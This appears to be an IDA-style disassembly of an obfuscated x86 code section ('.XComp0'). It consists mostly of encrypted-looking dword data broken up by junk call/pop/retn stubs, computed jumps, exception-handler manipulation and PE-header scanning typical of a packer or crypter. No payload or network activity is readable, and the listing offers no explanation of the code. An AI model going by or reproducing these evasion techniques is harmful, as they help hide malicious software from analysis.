dd 2EBF36FBh, 0C9510D59h, 725A1442h, 860E8BEFh, 64A14A3Eh dd 0DD71B871h, 0A85CB10Eh, 7750A03Dh, 402FF28Ch, 41CAF4EBh dd 0AD549D4Ch, 5A5BA812h, 0B3766F7Fh, 0D0669F4Ch, 101Fh dd 320F6100h, 3FD0F007h, 9685C9B4h, 0B5594629h, 0AC658C7Fh dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 89571BCCh, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 2404895Ch, 6AD768h, 242C8900h dd 30268h, 240C8900h, 2B4A61BDh, 6E5C129h, 3ADDBE56h, 0F5313846h dd 9ED815Eh, 686C961Bh, 5E73h, 81242489h, 42404h, 68590000h dd 211Fh, 8F242C89h, 0C8B0841h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 242C8B5Ch, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 0FAF065E9h, 0EEF723FFh, 82819643h, 0EF7F0C67h db 4Fh, 0BDh ; --------------------------------------------------------------------------- loc_5C44A2: ; CODE XREF: .XComp0:005C3D7Cj mov eax, 5FE8E25h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 9Bh dd 2A15945Eh, 7B141600h, 0B7430B0Ch, 712D357Dh, 0FA7A878Fh dd 0D9528716h, 0B8529A3Eh, 0BA25A29Ch, 0F207F2DBh, 673DB9D5h dd 0BC6939A8h, 7B2945B2h, 112BD196h, 0D96C08DBh, 0E53A5215h dd 390F3CC1h, 8D03B0F1h, 0F90DC185h, 0BE805h, 0D9930000h dd 0ADB63307h, 0B554412Bh, 0F9BD01A4h, 5F05F916h, 10E990h dd 30980000h, 36DC2F1Ch, 0C321751h, 0BF5AD058h, 0F50ACC2h dd 28Eh, 90DE8B00h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0D3C35040h, 9AAC8EA3h, 0BD8B0AABh, 5F934B5h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 23C56FC3h, 29C1BD8Bh, 6A05F9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C4C35545h, 90E9858Dh dd 6A05FEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0FB2756C3h, 0DE9h, 0D9FB8E00h, 3293215Fh dd 8AAEC550h, 0FA8BD77Bh, 2905C083h, 0F9087D8Dh, 50529005h dd 0F616052h, 7E931h, 0FD190000h, 8803EF43h, 5F585A83h dd 0F88B6650h, 419D8990h, 6A05F90Ch, 4850F00h, 66000000h dd 6AC0C2BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 800FF13Fh, 6, 5658D89h, 24B305F9h dd 13ED95FFh, 666005F9h, 81E7AFBAh, 0AA6BD4C2h, 8D8D6153h dd 5FCE983h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 2BC35040h, 0D06D1CCEh, 0FEA5E459h, 7E8h, 27E64E00h dd 0F8AC148Bh, 9FE78166h, 95315FD0h, 5F91531h, 0F51D1FFh dd 835BFEBFh, 0F91785BDh, 850F0105h, 3Ah, 6919D03h, 26A05F9h dd 50F8B70Fh, 60240489h, 8BC78B60h, 880F61F1h, 11h, 0CE9h dd 6B0EE600h, 5A723CD1h, 8B5758D9h, 95FF6164h, 5F90099h dd 1729BD8Bh, 0D6E905F9h, 0E800000Ch, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 5FE90F3h mov [ebp+5F91E69h], ebx push 0 push edi call sub_5C46F8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C46F8 proc near ; CODE XREF: .XComp0:005C46F0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5C46F8 endp ; --------------------------------------------------------------------------- dec edi xor [edx-135F4382h], ebx dec edi mov [ebp+5F90F75h], edi lea eax, [ebp+5FCD97Ch] mov [ebp+5F913E9h], ecx push eax mov edi, eax mov [esp], eax push 0 push edi call sub_5C4733 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4733 proc near ; CODE XREF: .XComp0:005C472Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5C4733 endp ; --------------------------------------------------------------------------- db 83h ; --------------------------------------------------------------------------- mov esp, 649C61F7h push large dword ptr ds:0 and edi, 6ADA5A7Ah mov large fs:0, esp push 0 push ebp call sub_5C4767 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4767 proc near ; CODE XREF: .XComp0:005C475Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5C4767 endp ; --------------------------------------------------------------------------- db 0B3h dd 0A3AB398Dh, 0A35BD8Bh, 85FF05F9h, 5F9197Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 11C35141h, 6ABDFDBBh dd 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 7E8ADh, 0AD550000h, 9F9E4A08h, 15BF6675h dd 0B5FF5F09h, 5F9275Dh, 15CF8166h, 1195FFA8h, 0E905F909h dd 122h, 0D830Fh, 7E80000h, 2000000h, 0C6A2DA8Ch, 0B05FECB0h dd 0B1853100h, 0F05F913h, 584h, 0E3816600h, 70E66374h dd 19B58D29h, 71E405F9h, 20C4DF81h, 8B6679C7h, 0F613CD9h dd 0E183h, 3BF6600h, 0C8B60FE3h, 213D9D8Bh, 6BA05F9h, 89000000h dd 0F90FDDBDh, 0B7C18B05h, 4E8C1E2h, 1ED19D8Bh, 0F76605F9h dd 3800FE2h, 0F000000h, 0C82BD9BFh, 0E39BD23h, 0D18B05F9h dd 330DB531h, 9BE905F9h, 0F8000000h, 554C858Bh, 14E94947h dd 0F0000000h, 0EAFA5806h, 25F42B6Ah, 0A429F21Ch, 2EE7EDD2h dd 838CBE25h, 8B0F07C0h, 6, 25499529h, 0C08305F9h, 96DF8000h dd 830FD03Bh, 11h, 0AB8BF56h, 0E95B1F65h, 52h, 0E7EF8166h dd 0FF8D8BE7h, 80FFFFFFh, 0BD0B80F7h, 5F92911h, 0F01E183h dd 3584h, 0FFA58300h, 0FEFFFFFFh, 86C9D781h, 9589042Fh dd 4947554Ch, 13E9h, 1A63900h, 80EC63E0h, 518F4481h, 6CC51EAEh dd 9078E030h, 19E036BBh, 0E900h, 0B58D0000h, 5FE0006h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 66C35141h dd 15CB9FB4h, 0CF816613h, 6AACE1h, 6850Fh, 8D890000h, 5F925FDh dd 1AED95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 89A5C1C3h, 0B9585E32h, 1074h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CC35646h, 8D896059h dd 5F91EC1h, 0C659531h, 666105F9h, 0D61DF81h, 8BFCE183h dd 8B66FCD8h, 0B8F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BA91C3h, 89000000h dd 0F926659Dh, 95BB6605h, 0C233ADE7h, 0D003E8D1h, 7504E983h dd 0A19589F4h, 6A05F934h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0BF88C355h, 9F694720h dd 0F7BF5E56h, 0D205B51h, 88h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 41C35040h, 0AE9F31BAh, 0DD958B3Ch dd 6A05F90Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0B6BC357h, 0AA4C6BDBh, 0E9403175h dd 0Ch, 424D3A13h, 0EFCE7C54h, 10EA88A4h, 8D895753h, 5F90761h dd 0E3805B5Fh, 0C18D8BA8h, 6A05F926h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 57C6C357h dd 0F0B707F9h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 890F5818h, 0 ; --------------------------------------------------------------------------- ja loc_5C4ACF mov ebx, 672C42E0h loc_5C4ACF: ; CODE XREF: .XComp0:005C4AC4j push 0 push ebp call sub_5C4ADA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4ADA proc near ; CODE XREF: .XComp0:005C4AD2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5C4ADA endp ; --------------------------------------------------------------------------- dw 8368h dd 0F91159BDh, 840F0005h, 89h, 8E9h, 0DFE46B00h, 3191E110h dd 0B8A4h, 0BD8B0000h, 5F92149h, 4EE88D8Dh, 6A05F9h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0C740D3C3h, 0FE8F837h, 0C5000000h, 42AF8BC0h, 0F0C4726Eh dd 0AA66A965h, 0F98B6D57h, 6AE1FF5Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 155EC350h dd 0EE90E28h, 50000000h, 0EA119A92h, 18D4843Fh, 34567571h dd 0FDBD83FCh, 5F900h, 410840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 7C3AC0C3h dd 275044F4h, 0B5892BC5h, 5F915EDh, 0FDBD83h, 0F0105F9h dd 3F484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 83F8183Dh, 0F900FDBDh, 860F0305h dd 393h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0C4C35747h, 465B27F6h, 0FE8BB3E8h, 4563BB53h, 605B6345h dd 8C66DE8Ah, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8011E99Fh, 665304E1h, 5B9268BFh dd 840FC90Ah, 0E5h, 8858589h, 858B05F9h, 5F92599h, 2D8DB589h dd 853305F9h, 5F9042Dh, 50F9BF0Fh, 5FF88A52h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 43FFC356h, 487C0E71h, 0BF66006Ah, 4E8345Ah dd 0FF000000h, 50001F03h, 9E8h, 15BDD200h, 0BE3C3D15h dd 52509A45h, 5E8310Fh, 42000000h, 0E10C3189h, 5B585A5Fh dd 424448Bh, 8BDE8B66h, 24448900h, 58F98B04h, 3BB101BFh dd 0C595FF2Ah, 8B05F92Ah, 0F9156DBDh, 21858905h, 0E905FCFCh dd 9, 40C18CBFh, 0A14BEAE5h, 22AE911h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 980036C3h, 0E16AA8FFh, 0F6450EBh, 68Fh, 3D958900h, 8105F928h dd 0F4AE6FE3h, 19858B7Eh, 2B05FCFCh, 0F90CADBDh, 1800C705h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 3593C357h, 53C812C7h, 8B53E6F2h dd 0F9266DBDh, 1DB58B05h, 6A05FCFCh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0DE16C352h dd 10E92Ah, 311A0000h, 547F0BFFh, 273C141Bh, 0B600B4F1h dd 0AEBBA2ACh, 8B20E28Eh, 0F92B8985h, 0B9666005h, 8D297B9Ch dd 5F92CD1h, 6A068961h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0F13AC351h, 0B4441851h dd 4840Fh, 0BB660000h, 858B783Ah, 5F92599h, 12E8h, 1778ED00h dd 3902E183h, 0F972B572h, 6D29ED54h, 60A5783Bh, 1EE9BD01h dd 0C68B05F9h, 46895B61h, 0E8605004h, 5, 0C66232A5h, 58D78B70h dd 9F064CBBh, 34896155h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0B8C973E9h, 7E50C58Ah dd 0BF66359Ah, 0B5FF209Ch, 5FCFC19h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 31C35141h, 66E74BA0h, 0E8F2DABBh dd 4, 1F03FFh, 19830Fh, 8A0F0000h, 13h, 0EE9h, 4254A800h dd 4A08AD55h, 14759F9Eh, 504DDDE6h, 424448Bh, 310F5250h dd 6E9h, 0E594E800h, 5AC3E836h, 66008B58h, 4489D98Bh, 81580424h dd 0F56E3CCBh, 13E873h, 64340000h, 80E9FC24h, 0A0C692E4h dd 90395096h, 24EDD1AAh, 4D858927h, 5B05F918h, 0FC21858Dh dd 0E78005FCh, 666050C9h, 53C9A8BEh, 11E9h, 2BE90900h dd 76E00EADh, 99283625h, 19E5F9E5h, 615BB34Eh, 0FF240489h dd 0F92AC595h, 66605605h, 5F61C78Bh, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 9D8A60FBh dd 0FD85C7F5h, 305F900h, 0E8000000h, 0Ah, 5E1016CEh, 13068DAEh dd 0EF81A25Bh, 0D68ECD0h, 21BD835Bh, 5FCFCh, 0D840Fh, 5BF0000h dd 0E9135A71h, 1Eh, 50A3EB80h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0A1BF8FC3h, 0BB66D03Dh dd 0BD8BD7BDh, 5F92741h, 0FDBD83h, 0F0305F9h, 37785h, 91B58900h dd 8305F907h, 0FCFC21BDh, 840F0005h, 364h, 0B69BDF81h dd 0B5FF0FDEh, 5FCFC21h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0F9C35646h, 0CCDB8E98h, 58B7E844h, 1ED9BD89h dd 95FF05F9h, 5F91AADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0ACC35141h, 0BFDA2375h, 0E9685E42h, 5 dd 8A204CE9h, 858D895Dh, 8B05F92Bh, 0FCFC15B5h, 0D9D8B05h dd 0C705F90Dh, 1000106h, 85BD0100h, 0E805F915h, 10h, 292981DFh dd 6FA8AA41h, 80E8CDA1h, 0D479C5ADh, 5BDA8B66h, 2AB2BF96h dd 96504A38h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 5EC35040h, 0D58D89F9h, 0FF05F909h, 0FCFC21B5h dd 0FAC38105h, 0E96EA8E1h, 12h, 0F73E9F81h, 0A7B85C23h dd 0B8CE4F2Ah, 3A6DEED9h, 95FFF467h, 5F92729h, 25519D89h dd 0FE905F9h, 60000000h, 0B1254393h, 869EB3C1h, 0CAB0D49Ch dd 0B58B5CE4h, 5FCFC15h, 0DCE38166h, 9858B8Ch, 8905F918h dd 0C486h, 3D9D2300h, 8B05F925h, 0F90CDD95h, 0C19D0B05h dd 8305F90Fh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0A64C27C3h, 187A0FBEh, 81666027h dd 60E587E8h, 9D2BD98Bh, 5F90CF1h, 8B666161h, 205089DEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F2C35141h dd 0C835AA8Ch, 959D892Ch, 8D05F910h, 0FD10E985h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0E054BB24h, 0BF664DDFh, 8689BF59h, 0B8h, 0A5BB7BBh dd 89006A13h, 0F91925B5h, 21B5FF05h, 305FCFCh, 0F92DF99Dh dd 9995FF05h, 2905F900h, 0F93315B5h, 7E905h, 110D0000h dd 0B7547Bh, 0F98B9653h, 961DB750h, 27559D29h, 0B5FF05F9h dd 5FCFC21h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 49C35040h, 335ACC31h, 0FF59251Bh, 0F9356995h, 0CF816605h dd 0BD83C7F2h, 5F917F5h, 3A840F00h, 66000000h, 0E898F781h dd 894BB350h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 76A1EC3h, 5D9D8B0Ah, 6005F904h dd 8D89CA8Bh, 5F92775h, 21B5FF61h, 3305FCFCh, 0F91F6D9Dh dd 6D95FF05h, 0E805F92Eh, 8, 6E242E04h, 0E6B0D1Ch, 3315BD89h dd 0FF5F05F9h, 0FCFC21B5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h dd 0F281C1Bh, 0EB816644h, 95FF3093h, 5F921DDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0BC35040h, 0E812BB41h dd 0BD832ADAh, 5F90A2Dh, 2C840F02h, 0E9000000h, 13h, 0A7F8EB09h dd 0A87175EAh, 255D79DCh, 0DDAB92Bh, 8B7842C9h, 0F9115185h dd 0ED9D3105h, 0C605F910h, 81660000h, 0C76FAAF7h, 0F9331985h dd 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 58691649h, 0F5DE8B07h, 0FFF41EE9h dd 0D98B66FFh, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BF6649C3h, 0B70F2CD0h, 0E000BAD8h dd 0EA81F00Eh, 0F0000000h, 8914C283h, 0F9298195h, 14EA8305h dd 9E6A858Dh, 645005FEh, 35FFh, 89640000h, 25h, 0E800h dd 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h, 1285h dd 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h dd 1000h, 0FFFFD9E9h, 89C88BFFh, 0F914CD85h, 3C400305h dd 650B70Fh, 1F899589h, 508B05F9h, 19958950h, 505F91Fh dd 0F8h, 30C508Bh, 1D9589D1h, 305F907h, 95890850h, 5F925B9h dd 58F64h, 83000000h, 13E904C4h, 51000000h, 10244C8Bh dd 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h, 5F929B9h dd 24840F00h, 0C6000000h, 0F9189985h, 0D2684705h, 0FFD49AA7h dd 0F908D1B5h, 10858D05h, 0FF05FCC5h, 0FF006AD0h, 1D8589D0h dd 8B05F921h, 0AE8D3h, 0FD3E0000h, 6E7DA442h, 2AEE6CDBh dd 1B8F0Fh, 850F0000h, 15h, 0FE8h, 4C77E800h, 0D0681616h dd 615E6D8Ah, 44C325C5h, 81F95A5Bh, 6B0CC2h, 6DBB6600h dd 0B8E9h, 0D9800000h, 1034FF11h, 9B6BE66h, 0F0B70F5Fh dd 0E2EBF781h, 830F3927h, 5, 74041DBEh, 91F7817Ah, 0F86E528Bh dd 571BEF81h, 89F81398h, 0CE8B023Ch, 0F904E883h, 9578F881h dd 850FFFFFh, 0FFFFFFC1h, 4820Fh, 0BE660000h, 8D8DD120h dd 5FE9FE6h, 89DEB70Fh, 0F90CDD8Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0F330F5D0h dd 15C13B34h, 26C185C7h, 704005F9h, 8D0F0000h, 0Ch, 6830Fh dd 9D8B0000h, 5F92245h, 0FD85C7h, 5F9h, 95890000h, 5F93545h dd 275DB5FFh, 0CDBA05F9h, 89033B7Fh, 0F9159185h, 0D595FF05h dd 6A05F920h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 2914C356h, 0FC7CDC6h, 785h, 1800F00h dd 0FC000000h, 95FF006Ah, 5F91AEDh, 7CEBC08Bh, 7F9187C9h dd 0AA87FC9Ah, 0C78002FEh, 0C57F02F7h, 60CB0C33h, 3BE6CABAh dd 0EC88467Bh, 0D57B4077h, 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h dd 0A90D3AD3h, 94113C9Eh, 9F6EF9FCh, 0AA5693C5h, 7A9895E7h dd 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h, 3692F422h, 603FA6FFh dd 0BD4696EEh, 0AD506A61h, 446F4515h, 0A3F6286Dh, 0E0F73543h dd 65554AF9h, 35EC063Ch, 534A5FAh, 0DDE8E080h, 0CAEE4C6Fh dd 0A1058D8Dh, 0BF0F05FEh, 0DD8D89D2h, 6A05F90Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 67BDC357h, 813BF4F1h, 8912236Dh, 0F91FE595h, 0C185C705h dd 805F926h, 81000073h, 0F81F64F0h, 0FD85C713h, 5F900h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0C2BEC357h, 0BC1D975h, 0FFF900C9h dd 0F92409B5h, 0E99D3305h, 0FF05F921h, 0F920D595h, 48B0F05h dd 66000000h, 666858BAh, 6A42BCBBh, 0ED95FF00h, 8B05F91Ah dd 547CEBC0h, 42809728h, 4572A9C9h, 0FB0751C6h, 0D09D8A60h dd 34961CE9h, 2B7136BCh, 0E56A8495h, 0E4AB1C4Ch, 185DEA1Fh dd 6CD27D80h, 1971F497h, 695D5572h, 0DE1E1915h, 9A3DD322h dd 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh, 0F60AF8D8h dd 6D881DDDh, 3656A724h, 0D6530C9Bh, 0C68DEE39h, 5BE1FAE9h dd 0C889EB88h, 9335F770h, 0A5D607C6h, 82013818h, 99C63DE7h dd 0CD00F1DBh, 0E8D28ED1h, 5, 0FDCD74D4h, 7E8EFh, 0F9AE0000h dd 0D21F5C18h, 0BD9589C6h, 5A05F92Ch, 0A5952B58h, 8105F915h dd 6D65C0h, 0E9B58B00h, 6805F920h, 1B3Ah, 0FFC2B25Bh, 61BE6630h dd 8E0F5F3Ah, 6, 1FE58D89h, 0C78105F9h, 29DEC1E9h, 2B7FC781h dd 9FB53370h, 0B4E2C781h, 0BBB674DBh, 0B5893889h, 5F91F3Dh dd 8903E883h, 0F932CD9Dh, 0BE664805h, 0EB83864Bh, 0B8850F01h dd 29FFFFFFh, 0F92EC995h, 5E805h, 9BCC0000h, 66595C52h dd 0AF09EA81h, 0CB8B665Eh, 7475C681h, 85890000h, 5F921ADh dd 1CF0B8h, 0DD858900h, 0FF05F925h, 0D99D3136h, 5F05F92Eh dd 0D059D8Bh, 0F78105F9h, 6FDB97CCh, 0A1BD2960h, 0B405F926h dd 0EF816159h, 5DF40C11h, 4860Fh, 0BA660000h, 0EF81D3B1h dd 573408C4h, 0FBDBD31h, 8A5705F9h, 80068FF1h, 0EE8179D6h dd 526E3663h, 0AE5BD89h, 0C68105F9h, 526E365Fh, 8121C380h dd 1E8h, 1D850F00h, 66000000h, 0E97A31B9h, 27h, 5673206Bh dd 6D142ACAh, 835ABC38h, 5EE80BBAh, 7D99336h, 14A19D0Bh dd 74E905F9h, 11FFFFFFh, 78206AD1h, 8D04CB50h, 0FEA37F8Dh dd 0D1BD8B05h, 8905F927h, 0F90CDD8Dh, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0DDC06716h, 0C513F8F7h, 0B58BB34Fh, 5F92125h, 26C185C7h dd 5C7C05F9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BD1FEC3h, 0F913B185h, 0FD85C705h dd 5F900h, 8B000000h, 0F90B19B5h, 99B5FF05h, 6A05F917h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 65C353h, 85896531h, 5F906F1h, 20D595FFh dd 0BF0F05F9h, 0FF006AFAh, 0F91AED95h, 0EBC08B05h, 64423D68h dd 34A9B39Ah, 0D0A4F7A9h, 2F507CB6h, 0CE58EA80h, 0D4CA473h dd 0CA8B7D9Bh, 0BBA603CDh, 820E1F68h, 398DB3BEh, 9526A3ABh dd 5A887451h, 0F22B6887h, 0A596BF0Eh, 0DECA02D8h, 908B1336h dd 0F54234ACh, 1D48352Ah, 4D3FE9C5h, 96DF3A75h, 1D1BCB85h dd 0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh, 2B4E014Ch, 69E27EE8h dd 712ADEACh, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h dd 2633A9A9h, 265AF198h, 3EAAEF5Eh, 4E603061h, 0A5E4FFB4h dd 2EE2F867h, 0A3BEA361h, 23CF9688h, 0A3BA7967h, 23CAC1B5h dd 0F8AD71Bh, 29333061h, 2633831Dh, 0DAB6C098h, 7636583Bh dd 85DDD615h, 0D963AC66h, 0DF26F90Dh, 2664839Dh, 23593598h dd 85CD1F15h, 0AB634866h, 0D890481Dh, 0B3CC039Dh, 23CA8BC1h dd 0A23C1493h, 26336AA1h, 85CDB015h, 0CE639F66h, 26334DAAh dd 0A3BEF6D8h, 23CDF79Ch, 0D8B624C8h, 76362A3Bh, 2BFEFF67h dd 0E2B03061h, 0D8B61794h, 7636B33Bh, 85DD2315h, 0D9635666h dd 0DF26840Dh, 26513D9Dh, 0AD666A98h, 74646474h, 2E4E11CEh dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h dd 0E7B85667h, 7F6C8EC6h, 2637A851h, 85DF8815h, 0ABBE9F66h dd 23CDE8B9h, 9320h, 0E7FC7800h, 7310271h, 0C783C8D0h dd 850F4904h, 0FFFFFFF2h, 0A521B58Dh, 8D8D05FEh, 5FEA540h dd 0E983CF2Bh, 0E8C88B05h, 12h, 5EDC9724h, 457ED5C2h, 6F2C925Ah dd 0B32A23C5h, 0F5F92B9h, 0C781F3B7h, 5D70h, 692D19BAh dd 6841h, 860F0000h, 2, 0BA58F18Bh, 7110252Fh, 0F070C8Bh dd 0E981F7B7h, 3914F439h, 0E981DE8Bh, 529A0044h, 0FE9h dd 9EA28200h, 399209E7h, 3BC80AE2h, 548529F5h, 287F181h dd 9D89563Bh, 5F92BADh, 8D858951h, 8F05F919h, 958B0704h dd 5F90F7Dh, 2401B58Bh, 0E88105F9h, 50882895h, 905958Bh dd 0C08105F9h, 50882891h, 1FF5B589h, 0F88105F9h, 0FFFFA348h dd 0FF92850Fh, 0EE8FFFFh, 5C000000h, 8B80163Eh, 0E47FDBEFh dd 2FD0B3B3h, 1D858900h, 5E05F926h, 5225786Ch, 12511EEh dd 0C27E3203h, 25799BDAh, 256193C4h, 1250B64h, 0C2765130h dd 6BAAE552h, 0FAAE44D2h, 6BFD9E60h, 2CD4303h, 21251281h dd 887CD199h, 8021362Ch, 18213674h, 40251218h, 0DD43D15Dh dd 67E18AD9h, 12518EAh, 33F7A181h, 0A3E18639h, 0A907B5E0h dd 10A11D34h, 6B25121Ah, 2CD440Ch, 21251206h, 887BD15Dh dd 802136F5h, 1A213684h, 47251260h, 0DB1DD166h, 49E61B5Eh dd 0B62A32A7h, 39EF93DCh, 8227C436h, 0F82E5B3Ch, 852A12C5h dd 1251255h, 0E94DFCB0h, 125121Dh, 0B980A497h, 0E87EEEF0h dd 12513C7h, 0E97712EBh, 12512C3h, 5BE64840h, 50146B9h dd 5015699h, 1251219h, 0A0E64044h, 59B7464h, 53758242h dd 128FBA0h, 0B7A21260h, 0E156D8D9h, 0B472B0BDh, 0B69523C9h dd 302A731Ah, 127990Ch, 60451281h, 61754A9Ah, 0FF2900DFh dd 60D5997Bh, 0D29A1D88h, 25691303h, 522578F8h, 12511EBh dd 0C27E3281h, 25799B9Bh, 25619364h, 1250A34h, 0C2765118h dd 7264A21Dh, 0CAA47427h, 6B7D22BBh, 2CD4781h, 212512C0h dd 8878D13Dh, 8021365Ch, 1C21365Ch, 4425120Ch, 0ADC9D153h dd 5E088613h, 0AFC2D94h, 48909939h, 8A20EB48h, 0F836778Dh dd 2DE5911Dh, 1239C03h, 0BC241206h, 4DC3912h, 0E6A41A0Ah dd 938701Bh, 154C97E9h, 8A4317C9h, 14FEE50h, 126FA5Ah dd 5F051206h, 75AC4CC0h, 45A416A5h, 13916E4h, 57631260h dd 8F2FB2F3h, 0A61D1CEDh, 94AC0CA6h, 4DC1AA3h, 33D48F2Ah dd 80431778h, 0EDA24F9h, 1259FE4h, 5CB81130h, 8220EB36h dd 14F1BCDh, 126FA53h, 5C051203h, 6DAC4F42h, 45A416E4h dd 1301644h, 54601230h, 81CFA1DBh, 38A527E3h, 84A01DEFh dd 28251203h, 0F8162304h, 6499C5h, 123936Fh, 840C1230h dd 4DC3539h, 14FDA0Fh, 126FA56h, 59051203h, 45AC4A42h dd 45A416E4h, 1381644h, 51651230h, 582AE1DBh, 0A42DAC85h dd 61AE491Ch, 60DEF883h, 6720D302h, 0C7B1D841h, 4AB52BE1h dd 842A9973h, 1251228h, 15AC8F25h, 8CA817FFh, 4DC5CEBh dd 2328AF08h, 29D1739h, 0E9251260h, 125123Dh, 2CC1334Eh dd 0EE190E63h, 28CCD504h, 5FDD9902h, 0D9AEF37Eh, 12CFAA1h dd 2B111260h, 3EBD526Eh, 5AB7B2FAh, 0A726AF81h, 